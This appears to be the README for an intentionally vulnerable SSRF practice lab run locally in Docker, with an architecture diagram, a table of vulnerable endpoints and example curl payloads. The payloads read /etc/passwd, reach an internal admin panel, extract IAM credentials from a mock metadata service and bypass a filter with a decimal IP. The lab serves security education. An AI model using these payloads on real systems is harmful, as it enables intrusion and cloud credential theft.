Laboratório propositalmente vulnerável para estudo e prática de SSRF (Server-Side Request Forgery).
Este lab é intencionalmente inseguro. Não exponha na internet. Use apenas em ambiente local para fins educacionais.
┌─────────────────────────────────────────────────────────┐
│ Rede Interna Docker │
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Admin Panel │ │ Redis │ │
│ │ :8081 │ │ :6379 │ │
│ │ (interno) │ │ (interno) │ │
│ └──────────────┘ └──────────────┘ │
│ │
│ ┌──────────────┐ ┌──────────────────────────────┐ │
│ │ Metadata │ │ Vulnerable App (Flask) │ │
│ │ :80 │ │ :5000 → exposta em :8080 │ │
│ │ (interno) │ │ │ │
│ │ 172.28.0.100 │ │ Endpoints: │ │
│ └──────────────┘ │ - /fetch?url= (SSRF) │ │
│ │ - /generate-pdf (SSRF) │ │
│ │ - /webhook (Blind SSRF) │ │
│ └──────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
cd ssrf-lab/
docker-compose up -d --buildVerifique se está rodando:
curl http://localhost:8080/| Endpoint | Tipo | Descrição |
|---|---|---|
GET /fetch?url= |
SSRF Clássico | Busca URL e retorna conteúdo |
GET /fetch-no-filter?url= |
SSRF sem filtro | Sem nenhuma proteção |
POST /generate-pdf |
SSRF via PDF | Gerador de PDF busca URL |
POST /webhook |
Blind SSRF | Faz request mas não retorna conteúdo |
GET /redirect?target= |
Open Redirect | Auxiliar para bypass de filtro |
curl "http://localhost:8080/fetch-no-filter?url=file:///etc/passwd"curl "http://localhost:8080/fetch-no-filter?url=http://admin-panel:8081/"# Listar roles
curl "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/"
# Extrair credenciais
curl "http://localhost:8080/fetch-no-filter?url=http://metadata:80/latest/meta-data/iam/security-credentials/prod-web-role"# 2130706433 = 127.0.0.1 em decimal
curl "http://localhost:8080/fetch?url=http://2130706433:5000/"python3 exploit.py --target http://localhost:8080docker-compose down -v- Post completo: https://renansj.dev/ssrf
- OWASP SSRF: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
- Capital One Breach (2019): https://krebsonsecurity.com/2019/07/capital-one-data-theft/